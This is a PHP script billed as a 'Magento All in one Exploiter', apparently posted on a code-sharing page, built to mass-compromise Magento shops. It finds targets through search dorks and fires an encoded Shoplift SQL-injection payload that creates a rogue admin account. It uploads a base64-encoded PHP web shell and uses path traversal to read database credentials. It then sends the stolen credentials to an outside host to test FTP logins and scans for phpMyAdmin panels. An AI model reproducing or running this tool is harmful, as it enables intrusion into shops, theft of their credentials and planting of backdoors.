<?php
function logo()
{
$logo = "=======================================================\n";
$logo .= "Magento All in one Exploiter\n";
$logo .= "Created By Pak Haxor Special Thank To Papah Crew\n";
$logo .= "Thank To Yogyakarta BlackHat & All Coder Indonesian\n";
$logo .= "=======================================================\n";
echo $logo;
}
function CurlPost($url, $post = false,$type=null){
if($type == 1)
{
$ch = curl_init();
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6");
curl_setopt ($ch, CURLOPT_TIMEOUT, 60);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch, CURLOPT_POST, 1);
$headers = array();
$headers[] = 'Accept-Encoding: gzip, deflate';
$headers[] = 'Content-Type: application/x-www-form-urlencoded';
curl_setopt ($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt ($ch, CURLOPT_HEADER, 1);
$result = curl_exec ($ch);
curl_close($ch);
return $result;
}
if($type == 2)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
if($post !== false){
$isi = '';
foreach($post as $key=>$value){
$isi .= $key.'='.$value.'&';
}
rtrim($isi, '&');
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, count($isi));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
curl_setopt($ch, CURLOPT_POSTFIELDS, $isi);
}
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
}
function Jswebforms($site,$file)
{
$post = array('files[]'=>"@$file") ;
$ch = curl_init();
curl_setopt ($ch, CURLOPT_URL, "$site/js/webforms/upload/");
curl_setopt ($ch, CURLOPT_USERAGENT, "msnbot/1.0 (+http://search.msn.com/msnbot.htm)");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,$post);
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
$data = curl_exec($ch);
curl_close($ch);
$json = json_decode($data);
if(isset($json[0]->url))
{
$shell = get_content($json[0]->url);
return (preg_match("/Pak Haxor/",$shell)) ? $json[0]->url : false;
}
}
function createshell()
{
$ext = array("php","php5","php7","php.j","phtml","shtml","php.pjpeg");
$shell = "PD9waHANCmVjaG8gYmFzZTY0X2RlY29kZSgiVUdGcklFaGhlRzl5Iik7DQplY2hvICI8YnI+Ii5waHBfdW5hbWUoKS4iPGJyPiI7DQplY2hvICI8Zm9ybSBtZXRob2Q9J3Bvc3QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnPg0KPGlucHV0IHR5cGU9J2ZpbGUnIG5hbWU9J2lkeCc+PGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0ndXBsb2FkJyB2YWx1ZT0ndXBsb2FkJz4NCjwvZm9ybT4iOw0KaWYoJF9QT1NUWyd1cGxvYWQnXSkgew0KCWlmKEBjb3B5KCRfRklMRVNbJ2lkeCddWyd0bXBfbmFtZSddLCAkX0ZJTEVTWydpZHgnXVsnbmFtZSddKSkgew0KCWVjaG8gInN1a3NlcyI7DQoJfSBlbHNlIHsNCgllY2hvICJnYWdhbCI7DQoJfQ0KfQ0KPz4=";
for($i=0;$i<count($ext);$i++)
{
$fp = fopen("sj.".$ext[$i], 'a+');
fwrite($fp, base64_decode($shell));
fclose($fp);
}
return $ext;
}
function get_content($url)
{
return @file_get_contents($url);
}
function FinderPhpMyAdmin($site)
{
$x = 1;
$list = array(
'/phpMyAdmin/',
'/phpmyadmin/',
'/PMA/',
'/pma/',
'/dbadmin/',
'/mysql/',
'/myadmin/',
'/phpmyadmin2/',
'/phpMyAdmin2/',
'/phpMyAdmin-2/',
'/php-my-admin/',
'/phpMyAdmin-2.2.3/',
'/phpMyAdmin-2.2.6/',
'/phpMyAdmin-2.5.1/',
'/phpMyAdmin-2.5.4/',
'/phpMyAdmin-2.5.5-rc1/',
'/phpMyAdmin-2.5.5-rc2/',
'/phpMyAdmin-2.5.5/',
'/phpMyAdmin-2.5.5-pl1/',
'/phpMyAdmin-2.5.6-rc1/',
'/phpMyAdmin-2.5.6-rc2/',
'/phpMyAdmin-2.5.6/',
'/phpMyAdmin-2.5.7/',
'/phpMyAdmin-2.5.7-pl1/',
'/phpMyAdmin-2.6.0-alpha/',
'/phpMyAdmin-2.6.0-alpha2/',
'/phpMyAdmin-2.6.0-beta1/',
'/phpMyAdmin-2.6.0-beta2/',
'/phpMyAdmin-2.6.0-rc1/',
'/phpMyAdmin-2.6.0-rc2/',
'/phpMyAdmin-2.6.0-rc3/',
'/phpMyAdmin-2.6.0/',
'/phpMyAdmin-2.6.0-pl1/',
'/phpMyAdmin-2.6.0-pl2/',
'/phpMyAdmin-2.6.0-pl3/',
'/phpMyAdmin-2.6.1-rc1/',
'/phpMyAdmin-2.6.1-rc2/',
'/phpMyAdmin-2.6.1/',
'/phpMyAdmin-2.6.1-pl1/',
'/phpMyAdmin-2.6.1-pl2/',
'/phpMyAdmin-2.6.1-pl3/',
'/phpMyAdmin-2.6.2-rc1/',
'/phpMyAdmin-2.6.2-beta1/',
'/phpMyAdmin-2.6.2-rc1/',
'/phpMyAdmin-2.6.2/',
'/phpMyAdmin-2.6.2-pl1/',
'/phpMyAdmin-2.6.3/',
'/phpMyAdmin-2.6.3-rc1/',
'/phpMyAdmin-2.6.3/',
'/phpMyAdmin-2.6.3-pl1/',
'/phpMyAdmin-2.6.4-rc1/',
'/phpMyAdmin-2.6.4-pl1/',
'/phpMyAdmin-2.6.4-pl2/',
'/phpMyAdmin-2.6.4-pl3/',
'/phpMyAdmin-2.6.4-pl4/',
'/phpMyAdmin-2.6.4/',
'/phpMyAdmin-2.7.0-beta1/',
'/phpMyAdmin-2.7.0-rc1/',
'/phpMyAdmin-2.7.0-pl1/',
'/phpMyAdmin-2.7.0-pl2/',
'/phpMyAdmin-2.7.0/',
'/phpMyAdmin-2.8.0-beta1/',
'/phpMyAdmin-2.8.0-rc1/',
'/phpMyAdmin-2.8.0-rc2/',
'/phpMyAdmin-2.8.0/',
'/phpMyAdmin-2.8.0.1/',
'/phpMyAdmin-2.8.0.2/',
'/phpMyAdmin-2.8.0.3/',
'/phpMyAdmin-2.8.0.4/',
'/phpMyAdmin-2.8.1-rc1/',
'/phpMyAdmin-2.8.1/',
'/phpMyAdmin-2.8.2/',
'/sqlmanager/',
'/mysqlmanager/',
'/p/m/a/',
'/PMA2005/',
'/pma2005/',
'/phpmanager/',
'/php-myadmin/',
'/phpmy-admin/',
'/webadmin/',
'/sqlweb/',
'/websql/',
'/webdb/',
'/mysqladmin/',
'/mysql-admin/',
'/mya/',
);
$jumlah = count($list);
if(isset($site))
{
echo "\n[+] Searching Mysql Login : ";
foreach($list as $path => $test)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_URL, $site.$test);
$result = curl_exec($ch);
curl_close($ch);
if (preg_match("/200 OK/", $result))
{
return $site.$test;
break;
}
else if (preg_match("/401 Unauthorized/", $result))
{
return $site.$test;
}
else
{
echo ".";
}
}
}
}
function ftplogin($host,$user,$pass)
{
$con = ftp_connect($host) or die("Couldn't connect");
ftp_login($con, $user, $pass);
return is_array(ftp_nlist($con, ".")) ? true : false;
}
function GetStr($start,$end,$string){
$a = explode($start,$string);
$b = explode($end,$a[1]);
return $b[0];
}
function userFTP($username)
{
$user = explode("_",$username);
return (isset($user[1])) ? $user[1] : $user[0];
}
function ReadStdin($prompt, $valid_inputs=null, $default = '') {
while(!isset($input) || (is_array($valid_inputs) && !in_array($input, $valid_inputs)) || ($valid_inputs == 'is_file' && !is_file($input))) {
echo $prompt;
$input = strtolower(trim(fgets(STDIN)));
break;
if(empty($input) && !empty($default)) {
$input = $default;
}
}
return $input;
}
function LoginDownloader($url){
$link = parse_url($url);
if(isset($link["scheme"]))
{
$data = CurlPost(sprintf("%s://%s/downloader/",$link["scheme"],$link["host"]),
array("username" => "pak",
"password" => "haxor123"),2
);
}
else
{
$data = CurlPost("http://$url",
array("username" => "pak",
"password" => "haxor123"),2
);
}
if(preg_match("/Log Out/i",$data) || (preg_match("/Return to Admin/i",$data))){
$permission = (!preg_match("/Warning: Your Magento folder does not have sufficient write permissions./i",$data) ? "Writeable" : "Denied");
$smtp = (preg_match("/Smtp/",$data) ? "Yes" : "No");
$filemanager = (preg_match("/File_System/",$data) ? "Yes":"No");
return $permission.
"\n ==> Smtp : $smtp".
"\n ==> Filemanager : $filemanager";
} else {
return "Failed";
}
}
function getDomain($keyword)
{
if($keyword == 1)
{
return array($argv[1]);
}
}
function SearchEngine($dork)
{
$list = array();
for($i=0;$i<=1000;$i+=10){
$search = CurlPost("http://www.bing.com/search?q=".urlencode($dork)."&first=".$i,false,2);
preg_match_all('/<a href=\"?http:\/\/([^\"]*)\"/m', $search, $m);
foreach($m[1] as $link){
if(!preg_match("/live|msn|bing|microsoft/",$link)){
if(!in_array($link,$list)){
$url = parse_url($link);
$target = (!isset($url["scheme"]) ? "http://".$link : $url["scheme"]."://".$url["host"]);
if(preg_match('/http/',$target))
{
$reparse = parse_url($target);
$domain = (!isset($reparse["scheme"]) ? $target : $reparse["host"]);
}
$list[] = $domain;
}
}
}
echo ".";
}
echo "\nDitemukan : ".count(array_unique($list))."\n";
return array_unique($list);
}
logo();
$getdomains = ReadStdin("[1] Making Dork\n[2] Making List\n[3] Making Url\nSelected : ", array('1','2','3'));
if(!isset($getdomains) or $getdomains > 3)
{
echo "Wrong Press !!!";
die();
}
if($getdomains == 1)
{
$dorker = ReadStdin("[1] Bing\nSelected : ",array("keyword"));
if($dorker == 1)
{
$url1 = ReadStdin("Masukkan Dork : ",array("keyword"));
echo "Grabbing : ";
$get = SearchEngine($url1);
}
}
if($getdomains == 2)
{
$url2 = ReadStdin("Masukkan Namafile TXT : ",array("keyword"));
$get = file($url2);
}
if($getdomains == 3)
{
$url3 = ReadStdin("Masukkan url : ",array("keyword"));
$get = array($url3);
}
$addadmin = ReadStdin('Apakah Anda Ingin Menggunakan Shoplift(Magento Add Admin) ? (Y/N): ', array('Y', 'N'));
$jswebforms = ReadStdin('Apakah Anda Ingin Menggunakan Magento Js Webforms ? (Y/N): ', array('Y', 'N'));
$lfdScanning = ReadStdin('Apakah Anda Ingin Menggunakan LFD Scanning + magmi + amasty ? (Y/N): ', array('Y', 'N'));
$ftpScanning = ReadStdin('Apakah Anda Ingin Menggunakan FTP Scanning ? (Y/N): ', array('Y', 'N'));
//==================GET FROM FILEDATA====================//
$x=1;
foreach($get as $domain)
{
if($getdomains == 2)
{
$domain = str_replace("\r", "", $domain);
$domain = str_replace("\n", "", $domain);
}
echo "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n";
echo "Scanning Url : $domain\n";
if($addadmin == "y")
{
echo "[+] Add Admin Status : ";
$path = "/admin/Cms_Wysiwyg/directive/index/";
$post = 'filter=cG9wdWxhcml0eVtmcm9tXT0wJnBvcHVsYXJpdHlbdG9dPTMmcG9wdWxhcml0eVtmaWVsZF9leHByXT0wKTtTRVQgQFNBTFQgPSAncnAnO1NFVCBAUEFTUyA9IENPTkNBVChNRDUoQ09OQ0FUKCBAU0FMVCAsICdoYXhvcjEyMycpICksIENPTkNBVCgnOicsIEBTQUxUICkpO1NFTEVDVCBARVhUUkEgOj0gTUFYKGV4dHJhKSBGUk9NIGFkbWluX3VzZXIgV0hFUkUgZXh0cmEgSVMgTk9UIE5VTEw7SU5TRVJUIElOVE8gYGFkbWluX3VzZXJgIChgZmlyc3RuYW1lYCwgYGxhc3RuYW1lYCxgZW1haWxgLGB1c2VybmFtZWAsYHBhc3N3b3JkYCxgY3JlYXRlZGAsYGxvZ251bWAsYHJlbG9hZF9hY2xfZmxhZ2AsYGlzX2FjdGl2ZWAsYGV4dHJhYCxgcnBfdG9rZW5gLGBycF90b2tlbl9jcmVhdGVkX2F0YCkgVkFMVUVTICgnRmlyc3RuYW1lJywnTGFzdG5hbWUnLCdlbWFpbEBleGFtcGxlLmNvbScsJ3BhaycsQFBBU1MsTk9XKCksMCwwLDEsQEVYVFJBLE5VTEwsIE5PVygpKTtJTlNFUlQgSU5UTyBgYWRtaW5fcm9sZWAgKHBhcmVudF9pZCx0cmVlX2xldmVsLHNvcnRfb3JkZXIscm9sZV90eXBlLHVzZXJfaWQscm9sZV9uYW1lKSBWQUxVRVMgKDEsMiwwLCdVJywoU0VMRUNUIHVzZXJfaWQgRlJPTSBhZG1pbl91c2VyIFdIRVJFIHVzZXJuYW1lID0gJ3BhaycpLCdGaXJzdG5hbWUnKTs=%3D&___directive=e3tibG9jayB0eXBlPUFkbWluaHRtbC9yZXBvcnRfc2VhcmNoX2dyaWQgb3V0cHV0PWdldENzdkZpbGV9fQ&forwarded=1';
$exploit = CurlPost($domain.$path,$post,1);
if(preg_match('#200 OK#', $exploit))
{
echo "SUCCESS";
echo "\n[+] Check Status Login :";
$postlogin = array("login[username]" => "pak",
"login[password]" => "haxor123");
$postlogindownloader = array("username" => "pak",
"password" => "haxor123");
$checklogin = CurlPost($domain."/admin",$postlogin,2);
$downloader = LoginDownloader($domain);
if(preg_match('/<body id="html-body" class=" adminhtml-dashboard-index">/', $checklogin))
{
$total = GetStr("<span class=\"price\">","</span>",$checklogin);
$average = GetStr('<span class="nowrap" style="font-size:18px;"><span class="price">',"</span>",$checklogin);
echo "TRUE\n";
$message = "====================================\n";
$message .= " ==> Url Login : $domain/admin\n";
$message .= " ==> Username : pak\n";
$message .= " ==> Password : haxor123\n";
$message .= " ==> Lifetime Sales : $total \n";
$message .= " ==> Average Orders : $average \n";
$message .= " ==> Downloader : $downloader \n";
echo $message;
$fp = fopen("shoplift.txt", 'a+');
fwrite($fp, $message);
fclose($fp);
}
else
{
echo "FALSE\n";
}
echo "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n";
}
else
{
echo "FAILURE\n";
}
}
if($jswebforms == "y")
{
if(get_content($domain."/js/webforms/upload") == "[]")
{
echo "[+] Uploaded Shell : ";
if(!file_exists("sj.php"))
{
$ext = createshell();
}
else
{
$ext = array("php","php5","php7","php.j","phtml","shtml","php.pjpeg");
}
for($i=0;$i<count($ext);$i++)
{
echo ".";
$exploit = Jswebforms($domain,"sj.".$ext[$i]);
if(isset($exploit))
{
echo "\n".$exploit." Success \n";
$fp = fopen("jswebforms.txt", 'a+');
fwrite($fp, $exploit."\n");
fclose($fp);
}
}
}
else
{
echo "[-] Webforms Not vuln\n";
}
}
if($lfdScanning == "y")
{
$path = array("Amasty" => "/app/etc/local.xml",
"Magmi" => "/magmi/web/download_file.php?file=../../app/etc/local.xml"
);
echo "[+] LFD Scanning :";
foreach($path as $key => $value)
{
$url = parse_url($domain);
$target = (!isset($url["scheme"]) ? "http://".$domain : $url["scheme"]."://".$url["host"]);
$lfd = get_content($target.$value);
if(preg_match("/<host><!/",$lfd))
{
echo "Found\n";
$date = GetStr("<date><![CDATA[","]]></date>",$lfd);
$host = GetStr("<host><![CDATA[","]]></host>",$lfd);
$username = GetStr("<username><![CDATA[","]]></username>",$lfd);
$password = GetStr("<password><![CDATA[","]]></password>",$lfd);
$dbname = GetStr("<dbname><![CDATA[","]]></dbname>",$lfd);
$lfdconfig = "==============[Mysql Login]===============\n";
$lfdconfig .= "Domain : $domain\n";
$lfdconfig .= "Date : $date\n";
$lfdconfig .= "Host : $host\n";
$lfdconfig .= "Username : $username\n";
$lfdconfig .= "Password : $password\n";
$lfdconfig .= "DatabaseName : $dbname\n";
$lfdconfig .= "=========================================\n";
echo $lfdconfig;
$fp = fopen("lfdconfig.txt", 'a+');
fwrite($fp, $lfdconfig);
fclose($fp);
if($ftpScanning == "y")
{
echo "\n[+] Scanning FTP LOGIN : ";
$url = parse_url($domain);
$ftp = get_content("http://www.fccarolinasoccer.com/ftp.php?domain=$domain&username=".userFTP($username)."&password=$password");
if(preg_match("/SUCCESS/",$ftp))
{
echo "SUCCESS\n";
$ftpinfo = "================================\n";
$ftpinfo .= "Host : ftp.".$url["host"]."\n";
$ftpinfo .= "Username : ".userFTP($username)."\n";
$ftpinfo .= "Password : ".$password."\n";
$ftpinfo .= "================================\n";
echo $ftpinfo;
$fp = fopen("ftpmagento.txt", 'a+');
fwrite($fp, $ftpinfo);
fclose($fp);
}
else
{
echo "Failure\n";
}
}
$finderPhpmyadmin = FinderPhpMyAdmin("$domain");
if(isset($finderPhpmyadmin))
{
$fp = fopen("lfdconfig.txt", 'a+');
fwrite($fp, "\nPath Mysql login : $finderPhpmyadmin");
fclose($fp);
echo "\n Path Mysql login : $finderPhpmyadmin";
}
else
{
echo "\n[-] Path Mysql Not found";
}
break;
}
else
{
echo " \n==>[$key] Not Found\n";
}
}
}
}
?>
Comments
0 B
|👍
/👎